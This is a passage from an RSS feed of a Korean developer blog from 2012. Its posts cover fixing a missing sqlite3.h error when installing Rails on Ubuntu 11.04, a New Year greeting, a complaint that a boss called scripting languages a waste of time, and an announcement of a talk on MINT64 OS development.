&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;br /&gt;역시 구글은 짱인 것 같아요. ㅠㅠ)-b&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-792-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-792-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-792-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F792&amp;regts=1327681244&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/Programming%20Tip&quot;&gt;Programming Tip&lt;/a&gt;&amp;nbsp;&gt;&amp;nbsp;&lt;a href=&quot;/category/Programming%20Tip/루비%28Ruby%29&quot;&gt;루비(Ruby)&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/794&quot; &gt;루비 온 레일즈(Ruby on Rails)에서 Nokogiri 설치 시 libxlst 관련 오류가 발생할 때 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/02&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/793&quot; &gt;루비 온 레일즈(Ruby on Rails)에서 bundle package했을 때 mysql2 관련 에러 해결하는 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/792&quot; &gt;Ubuntu 11.04에서 rails server를 실행했을 때 JavaScript runtime error 발생하는 경우 해결책...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/791&quot; &gt;Ubuntu 11.04에서 Rails 3.2.1 설치 후 sqlite3.h 가 없다고 오류날 때...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/773&quot; &gt;루비(Ruby)로 만든 웹사이트 스크랩퍼(Web site scrapper)&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/10/23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/766&quot; &gt;루비(Ruby)로 만든 70줄짜리 웹서버(Web Server)~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(4)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/09/15&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>루비(Ruby)</category>
			<category>루비</category>
			<category>루비 온 레일즈</category>
			<category>우분투</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/792</guid>
			<comments>http://kkamagui.tistory.com/792#entry792comment</comments>
			<pubDate>Sat, 28 Jan 2012 01:20:44 +0900</pubDate>
		</item>
		<item>
			<title>Ubuntu 11.04에서 Rails 3.2.1 설치 후 sqlite3.h 가 없다고 오류날 때...</title>
			<link>http://kkamagui.tistory.com/791</link>
			<description>요 근래 Ruby on Rails로 만들어 보고 싶은 게 있어서 Rails를 좀 보고 있습니다. 아직 잘은 모르지만 그 심플함과 강력함에 깜짝 놀라고 있는데요, 우분투(Ubuntu)에 깔려있는 레일즈(Rails)버전이 2.3 버전대라 3.0 버전 이상으로 올라가고 싶어서 레일즈 버전을 올렸습니다.&lt;br /&gt;
&lt;br /&gt;
레일즈 버전을 올리는 방법은 아래와 같이 하면 됩니다. ;)&lt;br /&gt;
&lt;blockquote&gt;sudo apt-get install ruby-full rubygems&lt;br /&gt;
sudo su -&lt;br /&gt;
export REALLY_GEM_UPDATE_SYSTEM=true&lt;br /&gt;
gem update --system&lt;br /&gt;
exit&lt;br /&gt;
gem install rails&lt;/blockquote&gt;&lt;br /&gt;
레일즈 버전은 깔끔하게 올라갔는데, 문제는 그 뒤더군요. 예제를 따라한다고 rails new blog를 입력하는 순간... 아래와 같은 오류가 발생하면서 더이상 진행이 안되었습니다. OTL...&lt;br /&gt;
&lt;blockquote&gt;&lt;pre&gt;/usr/bin/ruby1.8 extconf.rb
checking for sqlite3.h... no
sqlite3.h is missing. Try 'port install sqlite3 +universal' or 'yum install sqlite3-devel'
*** extconf.rb failed ***
&lt;br /&gt;
Could not create Makefile due to some reason, probably lack of
necessary libraries and/or headers.  Check the mkmf.log file for more
details.  You may need configuration options.&lt;br /&gt;
&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;
그래서 이걸 해결할려고 구글신에게 여쭈었더니... 아래와 같이 하면 된다고 알려주시더군요. 역시 구글신 쵝오... ㅠㅠ(&lt;a aiotitle=&quot;[http://stackoverflow.com/questions/3458602/sqlite3-ruby-install-error-on-ubuntu]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://stackoverflow.com/questions/3458602/sqlite3-ruby-install-error-on-ubuntu&quot;&gt;http://stackoverflow.com/questions/3458602/sqlite3-ruby-install-error-on-ubuntu&lt;/a&gt;)&lt;br /&gt;
&lt;span class=&quot;comment-copy&quot;&gt;&lt;code&gt;&lt;/code&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span class=&quot;comment-copy&quot;&gt;&lt;code&gt;sudo apt-get install libsqlite3-dev&lt;/code&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;
아아... 역시 구글은 최고인 것 같아요... OTL...&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-791-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-791-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-791-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F791&amp;regts=1327732689&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/Programming%20Tip&quot;&gt;Programming Tip&lt;/a&gt;&amp;nbsp;&gt;&amp;nbsp;&lt;a href=&quot;/category/Programming%20Tip/루비%28Ruby%29&quot;&gt;루비(Ruby)&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/793&quot; &gt;루비 온 레일즈(Ruby on Rails)에서 bundle package했을 때 mysql2 관련 에러 해결하는 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/792&quot; &gt;Ubuntu 11.04에서 rails server를 실행했을 때 JavaScript runtime error 발생하는 경우 해결책...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/791&quot; &gt;Ubuntu 11.04에서 Rails 3.2.1 설치 후 sqlite3.h 가 없다고 오류날 때...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/773&quot; &gt;루비(Ruby)로 만든 웹사이트 스크랩퍼(Web site scrapper)&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/10/23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/766&quot; &gt;루비(Ruby)로 만든 70줄짜리 웹서버(Web Server)~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(4)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/09/15&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/763&quot; &gt;복잡한 멜론 다운로드 폴더를 정리하는 루비(Ruby) 프로그램&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/09/05&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>루비(Ruby)</category>
			<category>루비</category>
			<category>루비 온 레일즈</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/791</guid>
			<comments>http://kkamagui.tistory.com/791#entry791comment</comments>
			<pubDate>Sat, 28 Jan 2012 01:10:31 +0900</pubDate>
		</item>
		<item>
			<title>2012년 한 해도 새해 복 많이 받으세요 ;)</title>
			<link>http://kkamagui.tistory.com/790</link>
			<description>고향에 내려가서 포스팅을 한다는게... 내려가서 정신없이 지내다보니 연휴가 끝난 지금에서야 한자 적어 올립니다. ^^&lt;br /&gt;
&lt;br /&gt;
작년에는 개인적으로 많은 일들이 있었지만... 올 해도 개인적으로 많은 일을 만들(?) 예정이라, 상당히 긴장감있는 한 해가 될 것 같습니다. ^^;;; 많은 일들(?)에 대해서는 진행하는 대로 족족 블로그에 포스팅할 예정이니 기대해주세요 ;)&lt;br /&gt;
&lt;br /&gt;
드디어 음력으로도 한 해가 시작되었습니다. 올 한 해 원하시고 바라시는 일 다 이루시길 기원합니다.&lt;br /&gt;
모두 새해 복 많이 받으시고, 좋은 소식 많이 전해주세요. ;)&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-790-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-790-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-790-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F790&amp;regts=1327512575&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/잡담&quot;&gt;잡담&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/802&quot; &gt;개발을 포기하지 마세요 ㅠㅠ 꾸준히 노력하시면 곧 좋은 날 올거에요. ㅠㅠ&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/798&quot; &gt;정리... 그리고 새로운 시작...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(16)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/790&quot; &gt;2012년 한 해도 새해 복 많이 받으세요 ;)&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/26&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/789&quot; &gt;스크립트 언어를 배우고 사용하는 건 시간 낭비가 아니에요. ㅠㅠ....&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(26)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/787&quot; &gt;2011년을 마감하며....&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/785&quot; &gt;최근 보고 있는 책 2권을 소개합니다~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/23&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>잡담</category>
			<category>새해 인사</category>
			<category>신년</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/790</guid>
			<comments>http://kkamagui.tistory.com/790#entry790comment</comments>
			<pubDate>Thu, 26 Jan 2012 02:29:22 +0900</pubDate>
		</item>
		<item>
			<title>스크립트 언어를 배우고 사용하는 건 시간 낭비가 아니에요. ㅠㅠ....</title>
			<link>http://kkamagui.tistory.com/789</link>
			<description>맡고 있는 일의 특성상 텍스트 파일에서 데이터 추출하여 패턴을 분석하는 일이 종종 있습니다. 특히 지금이 딱 그런 시즌인데요, 오늘은 이상하게 텍스트 파일을 열자마자 엑셀말고 다른 방법을 찾아야겠다는 생각이 들더라구요. ^^;;; 그래서 틈틈이 연습했던 루비(Ruby) 언어를 사용해서 한 번 해봐야겠다고 생각했습니다.&lt;br /&gt;
&lt;br /&gt;그.런.데... 루비를 써야겠다고 말하고 실행을 옮기려던 순간... 옆의 상사가 그러더군요. &lt;br /&gt;
&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&quot;C로도 할 수 있는데....&quot;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;예~, 맞습니다. &lt;span style=&quot;font-weight: bold;&quot;&gt;물론 C로도 할 수 있지요&lt;/span&gt;. 다만... 루비를 쓰면 문자열 처리가 편리하고 큐와 리스트 자료구조, 정렬 등등의 기능을 좀더 편하게 쓸 수 있습니다. 뭐, 이런 빵빵한 지원이 루비같은 스크립트 언어의 강점 아니겠습니까? ^^;;; 그리고 코딩하기도 편하고 마음도 가볍고 말이죠. ㅎㅎ&lt;br /&gt;
&lt;br /&gt;이런 설명을 하려고 하는 찰나.... 이런 말이 다시 들렸습니다.&lt;br /&gt;
&lt;br /&gt;&quot;C로도 할 수 있는데, &lt;span style=&quot;font-weight: bold; color: rgb(227, 22, 0);&quot;&gt;왜 시간 낭비를 하지...?&lt;/span&gt;&quot;&lt;br /&gt;
&lt;br /&gt;아아아아아아아아아아아아아아아아아아아아앍~!!!! 정말 믿고 싶지 않은 이야기에요. ㅠㅠ 저 말을 듣고 이게 꿈인가 싶었습니다. 상사도 저랑 같은 생각을 하고 있을 줄 알았거든요. ㅠㅠ 그런데 시간 낭비라니요. ㅠㅠ 목적에 맞는 언어를 택해서 작업을 편하게 하려고 한게 시간 낭비라니... 이런게 시간 낭비면 항상 우리는 오래된 돌도끼 같은 도구를 쓰면서 몸으로 때우며 묵묵히 작업을 반복해야 하는 건가요? 어휴... 아무리 하드웨어가 강한 회사라지만... 이래서야 원... ^^;;;;; &lt;br /&gt;
&lt;br /&gt;&lt;span style=&quot;font-weight: bold; color: rgb(227, 22, 0);&quot;&gt;스크립트 언어를 배우는 건 절대 시간 낭비가 아닙니다~!!! &lt;br /&gt;
그리고 새로운 것을 배우고 시도하는 것을 막는 건 프로그래머의 앞 길을 막는 겁니다.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;쓸쓸한 날씨처럼 기분도 쓸쓸하네요. ^^;;;;&lt;br /&gt;
&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-789-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-789-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-789-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F789&amp;regts=1326377273&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/잡담&quot;&gt;잡담&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/798&quot; &gt;정리... 그리고 새로운 시작...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(16)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/790&quot; &gt;2012년 한 해도 새해 복 많이 받으세요 ;)&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/26&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/789&quot; &gt;스크립트 언어를 배우고 사용하는 건 시간 낭비가 아니에요. ㅠㅠ....&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(26)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/787&quot; &gt;2011년을 마감하며....&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/785&quot; &gt;최근 보고 있는 책 2권을 소개합니다~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/782&quot; &gt;앞으로 수련을 더 열심히 해야 겠군요. ㅠㅠ&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/10&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>잡담</category>
			<category>루비</category>
			<category>스크립트 언어</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/789</guid>
			<comments>http://kkamagui.tistory.com/789#entry789comment</comments>
			<pubDate>Thu, 12 Jan 2012 23:07:53 +0900</pubDate>
		</item>
		<item>
			<title>&quot;아키텍트를 꿈꾸는 사람들&quot; 스터디에서 발표할 자료~!!</title>
			<link>http://kkamagui.tistory.com/788</link>
			<description>후배의 소개로 내일... 이 아니라 오늘이군요. 오늘 &quot;아키텍트를 꿈꾸는 사람들&quot; 스터디 그룹에서 간단히 발표를 하게 되었습니다. ^^;;; 제가 말 주변이 좋지 않아서 발표를 잘 할 수 있을지 의문이지만... 일단 초대 받았으니 가서 열심히 하고 오겠습니다. ㅎㅎ&lt;br /&gt;
&lt;br /&gt;
강남역 토즈 2호점에서 한다던데... 서울 사람들은 참 멋진 것 같아요 ;) 주말에도 열심히 공부하고 토론하는 것 보면... 정말 부럽다는 생각도 들고 대단하다는 생각도 듭니다. 스터디 그룹에 계시는 분들이 다들 대단하셔서 제가 가서 정보를 전달해 드리는 건 크게 의미가 없을 것 같아서 그냥 개발 스토리 위주로 PPT를 만들었는데... 잘한 짓인지는 모르겠네요. ㅠㅠ&lt;br /&gt;
&lt;br /&gt;
일단 다녀와서 후기를 남기겠습니다~ ㅎㅎ &lt;br /&gt;
그럼 다들 좋은 밤 되세요 ;)&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
&lt;p style=&quot;margin:0&quot;&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://kkamagui.tistory.com/attachment/cfile1.uf@111ED5434F071C580F831E.ppt&quot;&gt;&lt;img src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/ppt.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; MINT64OS개발이야기_한승훈.ppt&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;width:425px&quot; id=&quot;__ss_10991938&quot;&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
 &lt;strong style=&quot;display:block;margin:12px 0 4px&quot;&gt;&lt;a href=&quot;http://www.slideshare.net/Seunghoonhan/mint64-os&quot; title=&quot;MINT64 OS 개발이야기&quot; target=&quot;_blank&quot;&gt;MINT64 OS 개발이야기&lt;/a&gt;&lt;/strong&gt; &lt;iframe src=&quot;http://www.slideshare.net/slideshow/embed_code/10991938&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; frameborder=&quot;0&quot; height=&quot;355&quot; scrolling=&quot;no&quot; width=&quot;425&quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;div style=&quot;padding:5px 0 12px&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;
 View more &lt;a href=&quot;http://www.slideshare.net/&quot; target=&quot;_blank&quot;&gt;presentations&lt;/a&gt; from &lt;a href=&quot;http://www.slideshare.net/Seunghoonhan&quot; target=&quot;_blank&quot;&gt;Seunghoon han&lt;/a&gt;&lt;/div&gt;
 &lt;/div&gt;
